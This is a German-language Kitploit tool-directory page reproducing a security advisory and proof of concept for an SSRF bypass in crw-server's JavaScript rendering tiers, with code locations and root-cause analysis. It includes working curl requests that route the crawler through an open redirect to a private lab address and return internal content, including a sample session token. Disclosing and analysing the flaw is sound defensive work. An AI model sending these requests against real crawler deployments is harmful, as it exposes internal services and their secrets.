Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
crw-PoC — PoC — SSRF über JS-Rendering-Tier-Bypass des URL-Sicherheitsfilters in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit
Tools/GitHubGitHub/squeeze440/crw-poc
SchwachstellenanalyseExploitationWebsicherheitPenetrationstests
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF über JS-Rendering-Tier-Bypass des URL-Sicherheitsfilters in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Repository anzeigen
11vor 19 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

crw: Sicherheitshinweis

CVE-Status: beantragt, Zuweisung ausstehend. Dieser Fund wird als GHSA-5jp3-339h-vxqw veröffentlicht. Bei CVE-Zuweisung wird dieses Repository in CVE-YYYY-NNNNN-crw-PoC umbenannt und dieses Banner durch den CVE-Link ersetzt.

ForscherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (High)
SchwachstelleCWE-918

Zusammenfassung

In crw-server wird die SSRF-Allow-/Deny-Liste (crw_core::url_safety) nur einmal durchgesetzt, gegen die vom Aufrufer übergebene url, bevor die Anfrage an einen Renderer weitergeleitet wird; die CDP-gesteuerten JS-Rendering-Stufen (LightPanda — der Standard-JS-Renderer — und Chrome) steuern die Zielseite anschließend über Page.navigate an und folgen jeder weiteren Weiterleitung, JS-ausgelösten Navigation und In-Page-XHR/fetch vollständig innerhalb des eigenen Netzwerk-Stacks des Browsers, ohne zu irgendeinem Zeitpunkt einen weiteren Aufruf von url_safety, wodurch ein authentifizierter (oder, bei einer Standard-Deployment ohne Key, unauthentifizierter) Aufrufer, der renderJs:true setzt, den Crawler über eine einzige externe offene Weiterleitung in den RFC1918-/Loopback-/Link-Local-Adressraum umleiten und die Antwort des internen Dienstes im API-Antwortkörper zurücklesen kann.

Produkt

fastCRW / crw — crw-server (REST-API, ebenso identisch erreichbar über die prozessinterne crw-mcp-MCP-Tool-Schicht, die denselben Codepfad crw_server::routes::mcp::call_tool aufruft).

Getestete Version

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, Tip von main zum Testzeitpunkt), gebaut und ausgeführt über das projekteigene docker-compose.yml --profile heavy.

Geschätzter CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)

  • PR:N: Das mitgelieferte Self-Host-Standardsetup (config.docker.toml) hat keinen [auth]/api_keys-Abschnitt, was dem bereits in GHSA-qq8c-fch4-cxq7 dokumentierten Standard „open by design" entspricht. Eine Deployment, die doch API-Keys konfiguriert, stuft dies auf PR:L herab (jeder einzelne authentifizierte Tenant kann die gemeinsame Engine weiterhin in das interne Netzwerk umleiten, in dem sie läuft) — der Bug wird durch das Hinzufügen von Keys nicht entschärft, sondern nur neu eingegrenzt.
  • I:N/A:N: Der PoC demonstriert das Zurücklesen einer internen HTTP-Antwort (Vertraulichkeit). Es wurde keine schreibende/zustandsändernde Aktion gegen ein internes Ziel ausgeführt oder behauptet.
  • S:U: Die Offenlegung wird vollständig über den eigenen API-Antwortkanal der verwundbaren Komponente vermittelt.

Details

Ursache: Der CDP-/Browser-Renderer-Pfad ruft crw_core::url_safety nach der einen Prüfung auf der Routenebene nie wieder auf.

  • crates/crw-server/src/routes/scrape.rs:29-34 (identisch in crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — die einzige SSRF-Prüfung im gesamten Request-Lebenszyklus für eine JS-gerenderte Anfrage: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) läuft einmal gegen die wörtliche url des Aufrufers, bevor der Renderer überhaupt aufgerufen wird.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — die work-Future von fetch_inner sendet Page.navigate mit der rohen url direkt an den CDP-Endpunkt (gemeinsam genutzt von den Stufen chrome und lightpanda — beide sprechen CDP über dieselbe Funktion). Chrome/LightPanda führt dann seine eigene DNS-Auflösung durch und folgt jeder serverseitigen Weiterleitung, <meta http-equiv="refresh"> oder JS-location-Änderung intern. Es existiert nirgendwo in cdp.rs ein Aufruf von url_safety.
  • crates/crw-renderer/src/blocklist.rs:1-124 — die einzige pro-Request-Fetch.requestPaused-Interception-Logik, die während eines CDP-Renderings läuft (verdrahtet in cdp.rs etwa in den Zeilen 930-1002). Sie filtert Ad-/Tracker-Hosts und blockierte Ressourcentypen (Bilder, Fonts usw.) nur aus Bandbreiten-/Rauschgründen — sie prüft nie das Ziel einer Anfrage gegen private/Loopback-/Link-Local-Bereiche.
  • crates/crw-crawl/src/single.rs:559-569 — die einzige Stelle, an der die final_url nach der Navigation überhaupt untersucht wird. redirect_is_material() entscheidet nur, ob ein kosmetischer String "redirected_to: <url>" an data.warnings angehängt wird (um „du hast die falsche Seite bekommen" zu markieren, laut Kommentar mit Verweis auf northernair.ca) — es ruft nie url_safety::validate_safe_url* auf und lässt die Anfrage nie fehlschlagen.
  • Kontrast: crates/crw-renderer/src/http_only.rs:291 — die Plain-HTTP-Stufe (ohne JS) umhüllt ihren reqwest::Client korrekt mit crw_core::url_safety::safe_redirect_policy(), was jeden Weiterleitungshop neu validiert (mit DNS-Auflösung). Genau dieser Schutz fehlt den CDP-Stufen. Dynamisch bestätigt: Dieselbe PoC-Anfrage mit renderJs:false wird korrekt abgelehnt ("error following redirect", siehe Baseline-Screenshot).

Proof of Concept

Dynamisch bestätigt gegen den projekteigenen docker-compose.yml --profile heavy-Stack (crw + lightpanda + chrome, gebaut aus dem getesteten Commit).

  1. Ein „interner Dienst"-Stellvertreter wurde im selben Docker-Bridge-Netzwerk wie crw/chrome/lightpanda aufgesetzt (docker network: source_default), unter der privaten Adresse 172.19.0.6 — ein einfacher nginx-Container, der eine Seite mit realistisch intern wirkendem Inhalt ausliefert (Titel „Internal Ops Console", ein wert in Form eines Session-Tokens).
  2. Baseline — bestätigen, dass der Filter normal funktioniert:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (Screenshot: evidence/ssrf_baseline_blocked.png)
  3. Umgehung — dieselbe Weiterleitung, JS-Rendering-Stufe angefordert:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Ergebnis: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — der Inhalt des internen Servers wird an den Aufrufer zurückgegeben; die eigene redirected_to-Warnung des Tools zeigt, dass es weiß, dass es der Anfrage zur blockierten Adresse gefolgt ist, und den Inhalt trotzdem zurückgibt. (Screenshot: evidence/ssrf_chrome_tier_bypass.png)
  4. Bestätigt, dass die Umgehung auch bei der Standard-Fallback-Kette ohne explizite Renderer-Pin ausgelöst wird ("renderJs":true allein — die übliche Art, wie ein Aufrufer JS-Rendering anfordert): Die Leiter wählte lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") und gab denselben internen Inhalt zurück, was beweist, dass beide CDP-Stufen (nicht nur chrome) die Lücke teilen.
Tool herunterladen